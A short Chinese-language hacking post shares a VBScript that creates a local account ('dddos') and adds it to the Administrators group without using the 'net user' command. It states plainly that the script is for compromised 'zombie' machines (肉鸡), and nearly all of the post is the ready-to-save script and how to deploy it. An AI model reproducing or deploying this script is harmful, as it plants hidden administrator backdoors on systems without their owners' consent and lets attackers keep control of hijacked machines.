不依赖于net user添加账户的命令

作者: Knight
其实很早以前这段代码就已经公布出来了，但最近有人问到，就在这里再发一下吧~
只需要将以下代码保存为vbs文件即可。(依赖于系统中的wscript.exe和cscript.exe，一般的肉鸡都满足咯)


注：其中dddos为用户名信息,password为密码信息

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","dddos")
od.SetPassword "password"
od.SetInfo
Set of=GetObject(os&"/dddos",user)
oe.add os&"/dddos"